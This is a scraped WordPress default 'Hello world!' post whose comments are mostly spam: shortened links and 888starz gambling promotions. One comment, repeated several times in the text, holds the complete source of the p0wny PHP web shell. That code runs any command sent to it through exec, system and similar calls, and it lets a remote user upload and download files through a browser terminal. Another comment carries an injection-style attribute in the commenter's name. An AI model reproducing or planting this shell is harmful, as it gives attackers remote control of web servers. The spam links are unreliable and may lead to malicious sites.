Hello world! by lunarpc | Aug 9, 2022 | Uncategorized | 87 comments Welcome to WordPress. This is your first post. Edit or delete it, then start writing! 87 Comments A WordPress Commenter on August 9, 2022 at 2:31 am Hi, this is a comment. To get started with moderating, editing, and deleting comments, please visit the Comments screen in the dashboard. Commenter avatars come from Gravatar. 888starzuzbet_llKn on May 6, 2026 at 5:01 pm 888strz 888starz-bet2.com . 888starzuzbet_jgEa on May 6, 2026 at 8:14 pm 8 stars http://www.888starz-bet2.com . Leanne4216 on May 7, 2026 at 5:37 am https://shorturl.fm/JMXRE Reid3737 on May 7, 2026 at 5:41 am https://shorturl.fm/gnQnC Carla4782 on May 7, 2026 at 8:23 am https://shorturl.fm/xeWCq Joel3772 on May 7, 2026 at 2:50 pm https://shorturl.fm/XDv5a Gail4184 on May 7, 2026 at 3:17 pm https://shorturl.fm/HK234 Everett861 on May 7, 2026 at 3:49 pm https://shorturl.fm/955rR Marvin3048 on May 7, 2026 at 4:43 pm https://shorturl.fm/R4rIW Kristina2220 on May 7, 2026 at 5:37 pm https://shorturl.fm/xEVYd Morgan2273 on May 8, 2026 at 2:13 am https://shorturl.fm/lxrGK Harper3835 on May 8, 2026 at 5:45 am https://shorturl.fm/g7B4X Fernando1866 on May 8, 2026 at 8:36 am https://shorturl.fm/J1wLf Franklin4956 on May 8, 2026 at 8:56 am https://shorturl.fm/f69rf Dante3588 on May 8, 2026 at 11:50 am https://shorturl.fm/k5YmI Mark4755 on May 8, 2026 at 2:06 pm https://shorturl.fm/plNUd Kaleb3522 on May 8, 2026 at 4:30 pm https://shorturl.fm/5NjSd Roy2235 on May 8, 2026 at 6:37 pm https://shorturl.fm/eeD0G Dane372 on May 8, 2026 at 8:36 pm https://shorturl.fm/hXQhh Jade1664 on May 8, 2026 at 9:45 pm https://shorturl.fm/uKt9G Catherine1265 on May 9, 2026 at 2:49 am https://shorturl.fm/ryAwC Audrey1096 on May 9, 2026 at 3:42 am https://shorturl.fm/cSOvH vpn_piOi on May 9, 2026 at 7:14 am Как проверить надёжность шифрования в выбранном ВПН-сервисе? Makayla450 on May 9, 2026 at 9:06 pm https://shorturl.fm/PhJy8 Caleb1883 on May 9, 2026 at 11:42 pm https://shorturl.fm/U10t3 Kim3641 on May 9, 2026 at 11:47 pm https://shorturl.fm/jzV3U Alice4219 on May 10, 2026 at 12:23 am https://shorturl.fm/RAdcR Jocelyn2217 on May 10, 2026 at 7:10 am https://shorturl.fm/GEs9h Lily427 on May 10, 2026 at 9:49 am https://shorturl.fm/tagwr Mckenzie1908 on May 10, 2026 at 11:06 am https://shorturl.fm/Rf6iE Oscar4799 on May 10, 2026 at 11:49 am https://shorturl.fm/Vfn03 Giselle3701 on May 10, 2026 at 9:51 pm https://shorturl.fm/fARbR Renee3078 on May 10, 2026 at 9:52 pm https://shorturl.fm/37LcJ Destiny1346 on May 11, 2026 at 7:35 am https://shorturl.fm/jBEeV Ian3584 on May 11, 2026 at 8:09 am https://shorturl.fm/XRmTw x srcset=https://example.com/fake.jpg on May 11, 2026 at 12:42 pm tpuqhdo1qwiu80nrxw2i Visitor on May 11, 2026 at 12:42 pm ‘p0wny’, ‘hostname’ => ‘shell’, ); function expandPath($path) { if (preg_match(“#^(~[a-zA-Z0-9_.-]*)(/.*)?$#”, $path, $match)) { exec(“echo $match[1]”, $stdout); return $stdout[0] . $match[2]; } return $path; } function allFunctionExist($list = array()) { foreach ($list as $entry) { if (!function_exists($entry)) { return false; } } return true; } function executeCommand($cmd) { $output = ”; if (function_exists(‘exec’)) { exec($cmd, $output); $output = implode(“\n”, $output); } else if (function_exists(‘shell_exec’)) { $output = shell_exec($cmd); } else if (allFunctionExist(array(‘system’, ‘ob_start’, ‘ob_get_contents’, ‘ob_end_clean’))) { ob_start(); system($cmd); $output = ob_get_contents(); ob_end_clean(); } else if (allFunctionExist(array(‘passthru’, ‘ob_start’, ‘ob_get_contents’, ‘ob_end_clean’))) { ob_start(); passthru($cmd); $output = ob_get_contents(); ob_end_clean(); } else if (allFunctionExist(array(‘popen’, ‘feof’, ‘fread’, ‘pclose’))) { $handle = popen($cmd, ‘r’); while (!feof($handle)) { $output .= fread($handle, 4096); } pclose($handle); } else if (allFunctionExist(array(‘proc_open’, ‘stream_get_contents’, ‘proc_close’))) { $handle = proc_open($cmd, array(0 => array(‘pipe’, ‘r’), 1 => array(‘pipe’, ‘w’)), $pipes); $output = stream_get_contents($pipes[1]); proc_close($handle); } return $output; } function isRunningWindows() { return stripos(PHP_OS, “WIN”) === 0; } function featureShell($cmd, $cwd) { $stdout = “”; if (preg_match(“/^\s*cd\s*(2>&1)?$/”, $cmd)) { chdir(expandPath(“~”)); } elseif (preg_match(“/^\s*cd\s+(.+)\s*(2>&1)?$/”, $cmd)) { chdir($cwd); preg_match(“/^\s*cd\s+([^\s]+)\s*(2>&1)?$/”, $cmd, $match); chdir(expandPath($match[1])); } elseif (preg_match(“/^\s*download\s+[^\s]+\s*(2>&1)?$/”, $cmd)) { chdir($cwd); preg_match(“/^\s*download\s+([^\s]+)\s*(2>&1)?$/”, $cmd, $match); return featureDownload($match[1]); } else { chdir($cwd); $stdout = executeCommand($cmd); } return array( “stdout” => base64_encode($stdout), “cwd” => base64_encode(getcwd()) ); } function featurePwd() { return array(“cwd” => base64_encode(getcwd())); } function featureHint($fileName, $cwd, $type) { chdir($cwd); if ($type == ‘cmd’) { $cmd = “compgen -c $fileName”; } else { $cmd = “compgen -f $fileName”; } $cmd = “/bin/bash -c \”$cmd\””; $files = explode(“\n”, shell_exec($cmd)); foreach ($files as &$filename) { $filename = base64_encode($filename); } return array( ‘files’ => $files, ); } function featureDownload($filePath) { $file = @file_get_contents($filePath); if ($file === FALSE) { return array( ‘stdout’ => base64_encode(‘File not found / no read permission.’), ‘cwd’ => base64_encode(getcwd()) ); } else { return array( ‘name’ => base64_encode(basename($filePath)), ‘file’ => base64_encode($file) ); } } function featureUpload($path, $file, $cwd) { chdir($cwd); $f = @fopen($path, ‘wb’); if ($f === FALSE) { return array( ‘stdout’ => base64_encode(‘Invalid path / no write permission.’), ‘cwd’ => base64_encode(getcwd()) ); } else { fwrite($f, base64_decode($file)); fclose($f); return array( ‘stdout’ => base64_encode(‘Done.’), ‘cwd’ => base64_encode(getcwd()) ); } } function initShellConfig() { global $SHELL_CONFIG; if (isRunningWindows()) { $username = getenv(‘USERNAME’); if ($username !== false) { $SHELL_CONFIG[‘username’] = $username; } } else { $pwuid = posix_getpwuid(posix_geteuid()); if ($pwuid !== false) { $SHELL_CONFIG[‘username’] = $pwuid[‘name’]; } } $hostname = gethostname(); if ($hostname !== false) { $SHELL_CONFIG[‘hostname’] = $hostname; } } if (isset($_GET[“feature”])) { $response = NULL; switch ($_GET[“feature”]) { case “shell”: $cmd = $_POST[‘cmd’]; if (!preg_match(‘/2>/’, $cmd)) { $cmd .= ‘ 2>&1’; } $response = featureShell($cmd, $_POST[“cwd”]); break; case “pwd”: $response = featurePwd(); break; case “hint”: $response = featureHint($_POST[‘filename’], $_POST[‘cwd’], $_POST[‘type’]); break; case ‘upload’: $response = featureUpload($_POST[‘path’], $_POST[‘file’], $_POST[‘cwd’]); } header(“Content-Type: application/json”); echo json_encode($response); die(); } else { initShellConfig(); } ?> p0wny@shell:~# html, body { margin: 0; padding: 0; background: #333; color: #eee; font-family: monospace; width: 100vw; height: 100vh; overflow: hidden; } *::-webkit-scrollbar-track { border-radius: 8px; background-color: #353535; } *::-webkit-scrollbar { width: 8px; height: 8px; } *::-webkit-scrollbar-thumb { border-radius: 8px; -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3); background-color: #bcbcbc; } #shell { background: #222; box-shadow: 0 0 5px rgba(0, 0, 0, .3); font-size: 10pt; display: flex; flex-direction: column; align-items: stretch; max-width: calc(100vw – 2 * var(–shell-margin)); max-height: calc(100vh – 2 * var(–shell-margin)); resize: both; overflow: hidden; width: 100%; height: 100%; margin: var(–shell-margin) auto; } #shell-content { overflow: auto; padding: 5px; white-space: pre-wrap; flex-grow: 1; } #shell-logo { font-weight: bold; color: #FF4180; text-align: center; } :root { –shell-margin: 25px; } @media (min-width: 1200px) { :root { –shell-margin: 50px !important; } } @media (max-width: 991px), (max-height: 600px) { #shell-logo { font-size: 6px; margin: -25px 0; } :root { –shell-margin: 0 !important; } #shell { resize: none; } } @media (max-width: 767px) { #shell-input { flex-direction: column; } } @media (max-width: 320px) { #shell-logo { font-size: 5px; } } .shell-prompt { font-weight: bold; color: #75DF0B; } .shell-prompt > span { color: #1BC9E7; } #shell-input { display: flex; box-shadow: 0 -1px 0 rgba(0, 0, 0, .3); border-top: rgba(255, 255, 255, .05) solid 1px; padding: 10px 0; } #shell-input > label { flex-grow: 0; display: block; padding: 0 5px; height: 30px; line-height: 30px; } #shell-input #shell-cmd { height: 30px; line-height: 30px; border: none; background: transparent; color: #eee; font-family: monospace; font-size: 10pt; width: 100%; align-self: center; box-sizing: border-box; } #shell-input div { flex-grow: 1; align-items: stretch; } #shell-input input { outline: none; } var SHELL_CONFIG = ; var CWD = null; var commandHistory = []; var historyPosition = 0; var eShellCmdInput = null; var eShellContent = null; function _insertCommand(command) { eShellContent.innerHTML += “\n\n”; eShellContent.innerHTML += ” + genPrompt(CWD) + ‘ ‘; eShellContent.innerHTML += escapeHtml(command); eShellContent.innerHTML += “\n”; eShellContent.scrollTop = eShellContent.scrollHeight; } function _insertStdout(stdout) { eShellContent.innerHTML += escapeHtml(stdout); eShellContent.scrollTop = eShellContent.scrollHeight; } function _defer(callback) { setTimeout(callback, 0); } function featureShell(command) { _insertCommand(command); if (/^\s*upload\s+[^\s]+\s*$/.test(command)) { featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]); } else if (/^\s*clear\s*$/.test(command)) { // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer eShellContent.innerHTML = ”; } else { makeRequest(“?feature=shell”, {cmd: command, cwd: CWD}, function (response) { if (response.hasOwnProperty(‘file’)) { featureDownload(atob(response.name), response.file) } else { _insertStdout(atob(response.stdout)); updateCwd(atob(response.cwd)); } }); } } function featureHint() { if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete function _requestCallback(data) { if (data.files.length 3) { var splittedCwd = cwd.split(“/”); shortCwd = “…/” + splittedCwd[splittedCwd.length-2] + “/” + splittedCwd[splittedCwd.length-1]; } return SHELL_CONFIG[“username”] + “@” + SHELL_CONFIG[“hostname”] + “:” + shortCwd + “#”; } function updateCwd(cwd) { if (cwd) { CWD = cwd; _updatePrompt(); return; } makeRequest(“?feature=pwd”, {}, function(response) { CWD = atob(response.cwd); _updatePrompt(); }); } function escapeHtml(string) { return string .replace(/&/g, “&”) .replace(//g, “>”); } function _updatePrompt() { var eShellPrompt = document.getElementById(“shell-prompt”); eShellPrompt.innerHTML = genPrompt(CWD); } function _onShellCmdKeyDown(event) { switch (event.key) { case “Enter”: featureShell(eShellCmdInput.value); insertToHistory(eShellCmdInput.value); eShellCmdInput.value = “”; break; case “ArrowUp”: if (historyPosition > 0) { historyPosition–; eShellCmdInput.blur(); eShellCmdInput.value = commandHistory[historyPosition]; _defer(function() { eShellCmdInput.focus(); }); } break; case “ArrowDown”: if (historyPosition >= commandHistory.length) { break; } historyPosition++; if (historyPosition === commandHistory.length) { eShellCmdInput.value = “”; } else { eShellCmdInput.blur(); eShellCmdInput.focus(); eShellCmdInput.value = commandHistory[historyPosition]; } break; case ‘Tab’: event.preventDefault(); featureHint(); break; } } function insertToHistory(cmd) { commandHistory.push(cmd); historyPosition = commandHistory.length; } function makeRequest(url, params, callback) { function getQueryString() { var a = []; for (var key in params) { if (params.hasOwnProperty(key)) { a.push(encodeURIComponent(key) + “=” + encodeURIComponent(params[key])); } } return a.join(“&”); } var xhr = new XMLHttpRequest(); xhr.open(“POST”, url, true); xhr.setRequestHeader(“Content-Type”, “application/x-www-form-urlencoded”); xhr.onreadystatechange = function() { if (xhr.readyState === 4 && xhr.status === 200) { try { var responseJson = JSON.parse(xhr.responseText); callback(responseJson); } catch (error) { alert(“Error while parsing response: ” + error); } } }; xhr.send(getQueryString()); } document.onclick = function(event) { event = event || window.event; var selection = window.getSelection(); var target = event.target || event.srcElement; if (target.tagName === “SELECT”) { return; } if (!selection.toString()) { eShellCmdInput.focus(); } }; window.onload = function() { eShellCmdInput = document.getElementById(“shell-cmd”); eShellContent = document.getElementById(“shell-content”); updateCwd(); eShellCmdInput.focus(); }; ___ ____ _ _ _ _ _ _ __ / _ \__ ___ __ _ _ / __ \ ___| |__ ___| | |_ /\/|| || |_ | ‘_ \| | | \ \ /\ / / ‘_ \| | | |/ / _` / __| ‘_ \ / _ \ | (_)/\/_ .. _| | |_) | |_| |\ V V /| | | | |_| | | (_| \__ \ | | | __/ | |_ |_ _| | .__/ \___/ \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_) |_||_| |_| |___/ \____/ ??? 888starzuz_teKi on May 11, 2026 at 5:42 pm 8starz http://www.888starz-bet1.com . Alexis645 on May 12, 2026 at 6:44 am https://shorturl.fm/EN8F8 Kaylee511 on May 12, 2026 at 1:40 pm https://shorturl.fm/vhvz4 Susan877 on May 12, 2026 at 3:38 pm https://shorturl.fm/xNub4 Alina3074 on May 12, 2026 at 6:01 pm https://shorturl.fm/otSfY Frank1973 on May 12, 2026 at 9:59 pm https://shorturl.fm/2980e 888starzuz_nlPt on May 13, 2026 at 1:02 am 888starzuz 888starzuz . Lane105 on May 13, 2026 at 4:56 am https://shorturl.fm/qszNI 888starz uz_myPn on May 13, 2026 at 6:56 am 888 starz bet 888 starz bet . Jeff1567 on May 13, 2026 at 1:40 pm https://shorturl.fm/i9gAR Horace1410 on May 13, 2026 at 3:42 pm https://shorturl.fm/kDJjb Alissa2815 on May 14, 2026 at 6:47 am https://shorturl.fm/097WW Hilda2127 on May 14, 2026 at 7:32 am https://shorturl.fm/KFbLP Agnes1280 on May 14, 2026 at 9:57 am https://shorturl.fm/e1q5g Kira4099 on May 14, 2026 at 10:39 pm https://shorturl.fm/xOsVf 888starz_boMi on May 15, 2026 at 12:14 am 888 starz تسجيل دخول 888 888starz uz_gyPn on May 15, 2026 at 12:14 am 888 straz 888 straz . 888starz_bkOi on May 15, 2026 at 12:17 am موقع 888starz https://888starz-egyp.com/ 888starz_saSr on May 15, 2026 at 12:17 am star 888 star 888 . 888starz_dsOa on May 15, 2026 at 1:21 am 888strz https://888starzeg1.com/ 888starz_emPr on May 15, 2026 at 2:44 am 8888 website https://888starz-eg2.org/ 888starzuzbekistan_btEl on May 15, 2026 at 2:44 am 888starz казино 888starz казино . 888starz_oaSl on May 15, 2026 at 2:44 am 888starz تسجيل الدخول مراهنات 8starz Alan2366 on May 15, 2026 at 3:32 am https://shorturl.fm/6aXED 888starz_dlkt on May 15, 2026 at 4:13 am starz888 starz888 . Christopher4006 on May 15, 2026 at 6:34 am https://shorturl.fm/JXuwN Karl1593 on May 15, 2026 at 9:49 am https://shorturl.fm/AxiYO Celeste733 on May 15, 2026 at 12:39 pm https://shorturl.fm/QZu3I 333985 on May 15, 2026 at 12:45 pm wish you all the best Millie2613 on May 15, 2026 at 1:22 pm https://shorturl.fm/wAg1z Colin2967 on May 15, 2026 at 3:11 pm https://shorturl.fm/4LJkL Warren4433 on May 15, 2026 at 3:27 pm https://shorturl.fm/omPba Marvin393 on May 15, 2026 at 4:23 pm https://shorturl.fm/zDxgv Freddie1303 on May 15, 2026 at 5:41 pm https://shorturl.fm/F0ZC2 Martin419 on May 15, 2026 at 7:17 pm https://shorturl.fm/muaAh Lorraine446 on May 15, 2026 at 8:05 pm https://shorturl.fm/EI513 888starzuz_piKl on May 15, 2026 at 8:14 pm 888starz online login https://www.888stars-uz.com . Charlie1039 on May 16, 2026 at 6:52 am https://shorturl.fm/FzRUK Kai1798 on May 16, 2026 at 11:39 am https://shorturl.fm/Lv5SB Emory895 on May 16, 2026 at 1:26 pm https://shorturl.fm/AwDbL Flora4909 on May 16, 2026 at 4:20 pm https://shorturl.fm/gglAO 888starz_gyOr on May 16, 2026 at 6:50 pm ШіШЄШ§Ш±ШІ 888 ШЄШЩ…ЩЉЩ„ https://888starzeg2.com/ 888starz skachat_nlEn on May 16, 2026 at 7:09 pm 888 stars скачать 888 stars скачать . 888starz_lpPt on May 16, 2026 at 7:40 pm تنزيل تطبيق 888 برنامج مراهنات 888starz 888starz_xipr on May 16, 2026 at 8:23 pm 88starz apk برنامج 888starz 888starz_ehPi on May 16, 2026 at 8:50 pm 888 https://world-cuisine.com/ Ainsley1981 on May 17, 2026 at 4:06 am https://shorturl.fm/ePMFr Dane353 on May 17, 2026 at 8:53 am https://shorturl.fm/q95yb Kara1500 on May 17, 2026 at 10:46 am https://shorturl.fm/kJZNN Submit a CommentYou must be logged in to post a comment.
A WordPress Commenter on August 9, 2022 at 2:31 am Hi, this is a comment. To get started with moderating, editing, and deleting comments, please visit the Comments screen in the dashboard. Commenter avatars come from Gravatar.
Visitor on May 11, 2026 at 12:42 pm ‘p0wny’, ‘hostname’ => ‘shell’, ); function expandPath($path) { if (preg_match(“#^(~[a-zA-Z0-9_.-]*)(/.*)?$#”, $path, $match)) { exec(“echo $match[1]”, $stdout); return $stdout[0] . $match[2]; } return $path; } function allFunctionExist($list = array()) { foreach ($list as $entry) { if (!function_exists($entry)) { return false; } } return true; } function executeCommand($cmd) { $output = ”; if (function_exists(‘exec’)) { exec($cmd, $output); $output = implode(“\n”, $output); } else if (function_exists(‘shell_exec’)) { $output = shell_exec($cmd); } else if (allFunctionExist(array(‘system’, ‘ob_start’, ‘ob_get_contents’, ‘ob_end_clean’))) { ob_start(); system($cmd); $output = ob_get_contents(); ob_end_clean(); } else if (allFunctionExist(array(‘passthru’, ‘ob_start’, ‘ob_get_contents’, ‘ob_end_clean’))) { ob_start(); passthru($cmd); $output = ob_get_contents(); ob_end_clean(); } else if (allFunctionExist(array(‘popen’, ‘feof’, ‘fread’, ‘pclose’))) { $handle = popen($cmd, ‘r’); while (!feof($handle)) { $output .= fread($handle, 4096); } pclose($handle); } else if (allFunctionExist(array(‘proc_open’, ‘stream_get_contents’, ‘proc_close’))) { $handle = proc_open($cmd, array(0 => array(‘pipe’, ‘r’), 1 => array(‘pipe’, ‘w’)), $pipes); $output = stream_get_contents($pipes[1]); proc_close($handle); } return $output; } function isRunningWindows() { return stripos(PHP_OS, “WIN”) === 0; } function featureShell($cmd, $cwd) { $stdout = “”; if (preg_match(“/^\s*cd\s*(2>&1)?$/”, $cmd)) { chdir(expandPath(“~”)); } elseif (preg_match(“/^\s*cd\s+(.+)\s*(2>&1)?$/”, $cmd)) { chdir($cwd); preg_match(“/^\s*cd\s+([^\s]+)\s*(2>&1)?$/”, $cmd, $match); chdir(expandPath($match[1])); } elseif (preg_match(“/^\s*download\s+[^\s]+\s*(2>&1)?$/”, $cmd)) { chdir($cwd); preg_match(“/^\s*download\s+([^\s]+)\s*(2>&1)?$/”, $cmd, $match); return featureDownload($match[1]); } else { chdir($cwd); $stdout = executeCommand($cmd); } return array( “stdout” => base64_encode($stdout), “cwd” => base64_encode(getcwd()) ); } function featurePwd() { return array(“cwd” => base64_encode(getcwd())); } function featureHint($fileName, $cwd, $type) { chdir($cwd); if ($type == ‘cmd’) { $cmd = “compgen -c $fileName”; } else { $cmd = “compgen -f $fileName”; } $cmd = “/bin/bash -c \”$cmd\””; $files = explode(“\n”, shell_exec($cmd)); foreach ($files as &$filename) { $filename = base64_encode($filename); } return array( ‘files’ => $files, ); } function featureDownload($filePath) { $file = @file_get_contents($filePath); if ($file === FALSE) { return array( ‘stdout’ => base64_encode(‘File not found / no read permission.’), ‘cwd’ => base64_encode(getcwd()) ); } else { return array( ‘name’ => base64_encode(basename($filePath)), ‘file’ => base64_encode($file) ); } } function featureUpload($path, $file, $cwd) { chdir($cwd); $f = @fopen($path, ‘wb’); if ($f === FALSE) { return array( ‘stdout’ => base64_encode(‘Invalid path / no write permission.’), ‘cwd’ => base64_encode(getcwd()) ); } else { fwrite($f, base64_decode($file)); fclose($f); return array( ‘stdout’ => base64_encode(‘Done.’), ‘cwd’ => base64_encode(getcwd()) ); } } function initShellConfig() { global $SHELL_CONFIG; if (isRunningWindows()) { $username = getenv(‘USERNAME’); if ($username !== false) { $SHELL_CONFIG[‘username’] = $username; } } else { $pwuid = posix_getpwuid(posix_geteuid()); if ($pwuid !== false) { $SHELL_CONFIG[‘username’] = $pwuid[‘name’]; } } $hostname = gethostname(); if ($hostname !== false) { $SHELL_CONFIG[‘hostname’] = $hostname; } } if (isset($_GET[“feature”])) { $response = NULL; switch ($_GET[“feature”]) { case “shell”: $cmd = $_POST[‘cmd’]; if (!preg_match(‘/2>/’, $cmd)) { $cmd .= ‘ 2>&1’; } $response = featureShell($cmd, $_POST[“cwd”]); break; case “pwd”: $response = featurePwd(); break; case “hint”: $response = featureHint($_POST[‘filename’], $_POST[‘cwd’], $_POST[‘type’]); break; case ‘upload’: $response = featureUpload($_POST[‘path’], $_POST[‘file’], $_POST[‘cwd’]); } header(“Content-Type: application/json”); echo json_encode($response); die(); } else { initShellConfig(); } ?> p0wny@shell:~# html, body { margin: 0; padding: 0; background: #333; color: #eee; font-family: monospace; width: 100vw; height: 100vh; overflow: hidden; } *::-webkit-scrollbar-track { border-radius: 8px; background-color: #353535; } *::-webkit-scrollbar { width: 8px; height: 8px; } *::-webkit-scrollbar-thumb { border-radius: 8px; -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3); background-color: #bcbcbc; } #shell { background: #222; box-shadow: 0 0 5px rgba(0, 0, 0, .3); font-size: 10pt; display: flex; flex-direction: column; align-items: stretch; max-width: calc(100vw – 2 * var(–shell-margin)); max-height: calc(100vh – 2 * var(–shell-margin)); resize: both; overflow: hidden; width: 100%; height: 100%; margin: var(–shell-margin) auto; } #shell-content { overflow: auto; padding: 5px; white-space: pre-wrap; flex-grow: 1; } #shell-logo { font-weight: bold; color: #FF4180; text-align: center; } :root { –shell-margin: 25px; } @media (min-width: 1200px) { :root { –shell-margin: 50px !important; } } @media (max-width: 991px), (max-height: 600px) { #shell-logo { font-size: 6px; margin: -25px 0; } :root { –shell-margin: 0 !important; } #shell { resize: none; } } @media (max-width: 767px) { #shell-input { flex-direction: column; } } @media (max-width: 320px) { #shell-logo { font-size: 5px; } } .shell-prompt { font-weight: bold; color: #75DF0B; } .shell-prompt > span { color: #1BC9E7; } #shell-input { display: flex; box-shadow: 0 -1px 0 rgba(0, 0, 0, .3); border-top: rgba(255, 255, 255, .05) solid 1px; padding: 10px 0; } #shell-input > label { flex-grow: 0; display: block; padding: 0 5px; height: 30px; line-height: 30px; } #shell-input #shell-cmd { height: 30px; line-height: 30px; border: none; background: transparent; color: #eee; font-family: monospace; font-size: 10pt; width: 100%; align-self: center; box-sizing: border-box; } #shell-input div { flex-grow: 1; align-items: stretch; } #shell-input input { outline: none; } var SHELL_CONFIG = ; var CWD = null; var commandHistory = []; var historyPosition = 0; var eShellCmdInput = null; var eShellContent = null; function _insertCommand(command) { eShellContent.innerHTML += “\n\n”; eShellContent.innerHTML += ” + genPrompt(CWD) + ‘ ‘; eShellContent.innerHTML += escapeHtml(command); eShellContent.innerHTML += “\n”; eShellContent.scrollTop = eShellContent.scrollHeight; } function _insertStdout(stdout) { eShellContent.innerHTML += escapeHtml(stdout); eShellContent.scrollTop = eShellContent.scrollHeight; } function _defer(callback) { setTimeout(callback, 0); } function featureShell(command) { _insertCommand(command); if (/^\s*upload\s+[^\s]+\s*$/.test(command)) { featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]); } else if (/^\s*clear\s*$/.test(command)) { // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer eShellContent.innerHTML = ”; } else { makeRequest(“?feature=shell”, {cmd: command, cwd: CWD}, function (response) { if (response.hasOwnProperty(‘file’)) { featureDownload(atob(response.name), response.file) } else { _insertStdout(atob(response.stdout)); updateCwd(atob(response.cwd)); } }); } } function featureHint() { if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete function _requestCallback(data) { if (data.files.length 3) { var splittedCwd = cwd.split(“/”); shortCwd = “…/” + splittedCwd[splittedCwd.length-2] + “/” + splittedCwd[splittedCwd.length-1]; } return SHELL_CONFIG[“username”] + “@” + SHELL_CONFIG[“hostname”] + “:” + shortCwd + “#”; } function updateCwd(cwd) { if (cwd) { CWD = cwd; _updatePrompt(); return; } makeRequest(“?feature=pwd”, {}, function(response) { CWD = atob(response.cwd); _updatePrompt(); }); } function escapeHtml(string) { return string .replace(/&/g, “&”) .replace(//g, “>”); } function _updatePrompt() { var eShellPrompt = document.getElementById(“shell-prompt”); eShellPrompt.innerHTML = genPrompt(CWD); } function _onShellCmdKeyDown(event) { switch (event.key) { case “Enter”: featureShell(eShellCmdInput.value); insertToHistory(eShellCmdInput.value); eShellCmdInput.value = “”; break; case “ArrowUp”: if (historyPosition > 0) { historyPosition–; eShellCmdInput.blur(); eShellCmdInput.value = commandHistory[historyPosition]; _defer(function() { eShellCmdInput.focus(); }); } break; case “ArrowDown”: if (historyPosition >= commandHistory.length) { break; } historyPosition++; if (historyPosition === commandHistory.length) { eShellCmdInput.value = “”; } else { eShellCmdInput.blur(); eShellCmdInput.focus(); eShellCmdInput.value = commandHistory[historyPosition]; } break; case ‘Tab’: event.preventDefault(); featureHint(); break; } } function insertToHistory(cmd) { commandHistory.push(cmd); historyPosition = commandHistory.length; } function makeRequest(url, params, callback) { function getQueryString() { var a = []; for (var key in params) { if (params.hasOwnProperty(key)) { a.push(encodeURIComponent(key) + “=” + encodeURIComponent(params[key])); } } return a.join(“&”); } var xhr = new XMLHttpRequest(); xhr.open(“POST”, url, true); xhr.setRequestHeader(“Content-Type”, “application/x-www-form-urlencoded”); xhr.onreadystatechange = function() { if (xhr.readyState === 4 && xhr.status === 200) { try { var responseJson = JSON.parse(xhr.responseText); callback(responseJson); } catch (error) { alert(“Error while parsing response: ” + error); } } }; xhr.send(getQueryString()); } document.onclick = function(event) { event = event || window.event; var selection = window.getSelection(); var target = event.target || event.srcElement; if (target.tagName === “SELECT”) { return; } if (!selection.toString()) { eShellCmdInput.focus(); } }; window.onload = function() { eShellCmdInput = document.getElementById(“shell-cmd”); eShellContent = document.getElementById(“shell-content”); updateCwd(); eShellCmdInput.focus(); }; ___ ____ _ _ _ _ _ _ __ / _ \__ ___ __ _ _ / __ \ ___| |__ ___| | |_ /\/|| || |_ | ‘_ \| | | \ \ /\ / / ‘_ \| | | |/ / _` / __| ‘_ \ / _ \ | (_)/\/_ .. _| | |_) | |_| |\ V V /| | | | |_| | | (_| \__ \ | | | __/ | |_ |_ _| | .__/ \___/ \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_) |_||_| |_| |___/ \____/ ???
Hi, this is a comment.
To get started with moderating, editing, and deleting comments, please visit the Comments screen in the dashboard.
Commenter avatars come from Gravatar.
888strz 888starz-bet2.com .
8 stars http://www.888starz-bet2.com .
https://shorturl.fm/JMXRE
https://shorturl.fm/gnQnC
https://shorturl.fm/xeWCq
https://shorturl.fm/XDv5a
https://shorturl.fm/HK234
https://shorturl.fm/955rR
https://shorturl.fm/R4rIW
https://shorturl.fm/xEVYd
https://shorturl.fm/lxrGK
https://shorturl.fm/g7B4X
https://shorturl.fm/J1wLf
https://shorturl.fm/f69rf
https://shorturl.fm/k5YmI
https://shorturl.fm/plNUd
https://shorturl.fm/5NjSd
https://shorturl.fm/eeD0G
https://shorturl.fm/hXQhh
https://shorturl.fm/uKt9G
https://shorturl.fm/ryAwC
https://shorturl.fm/cSOvH
Как проверить надёжность шифрования в выбранном ВПН-сервисе?
https://shorturl.fm/PhJy8
https://shorturl.fm/U10t3
https://shorturl.fm/jzV3U
https://shorturl.fm/RAdcR
https://shorturl.fm/GEs9h
https://shorturl.fm/tagwr
https://shorturl.fm/Rf6iE
https://shorturl.fm/Vfn03
https://shorturl.fm/fARbR
https://shorturl.fm/37LcJ
https://shorturl.fm/jBEeV
https://shorturl.fm/XRmTw
tpuqhdo1qwiu80nrxw2i
‘p0wny’,
‘hostname’ => ‘shell’,
);
function expandPath($path) {
if (preg_match(“#^(~[a-zA-Z0-9_.-]*)(/.*)?$#”, $path, $match)) {
exec(“echo $match[1]”, $stdout);
return $stdout[0] . $match[2];
}
return $path;
}
function allFunctionExist($list = array()) {
foreach ($list as $entry) {
if (!function_exists($entry)) {
return false;
}
}
return true;
}
function executeCommand($cmd) {
$output = ”;
if (function_exists(‘exec’)) {
exec($cmd, $output);
$output = implode(“\n”, $output);
} else if (function_exists(‘shell_exec’)) {
$output = shell_exec($cmd);
} else if (allFunctionExist(array(‘system’, ‘ob_start’, ‘ob_get_contents’, ‘ob_end_clean’))) {
ob_start();
system($cmd);
$output = ob_get_contents();
ob_end_clean();
} else if (allFunctionExist(array(‘passthru’, ‘ob_start’, ‘ob_get_contents’, ‘ob_end_clean’))) {
ob_start();
passthru($cmd);
$output = ob_get_contents();
ob_end_clean();
} else if (allFunctionExist(array(‘popen’, ‘feof’, ‘fread’, ‘pclose’))) {
$handle = popen($cmd, ‘r’);
while (!feof($handle)) {
$output .= fread($handle, 4096);
}
pclose($handle);
} else if (allFunctionExist(array(‘proc_open’, ‘stream_get_contents’, ‘proc_close’))) {
$handle = proc_open($cmd, array(0 => array(‘pipe’, ‘r’), 1 => array(‘pipe’, ‘w’)), $pipes);
$output = stream_get_contents($pipes[1]);
proc_close($handle);
}
return $output;
}
function isRunningWindows() {
return stripos(PHP_OS, “WIN”) === 0;
}
function featureShell($cmd, $cwd) {
$stdout = “”;
if (preg_match(“/^\s*cd\s*(2>&1)?$/”, $cmd)) {
chdir(expandPath(“~”));
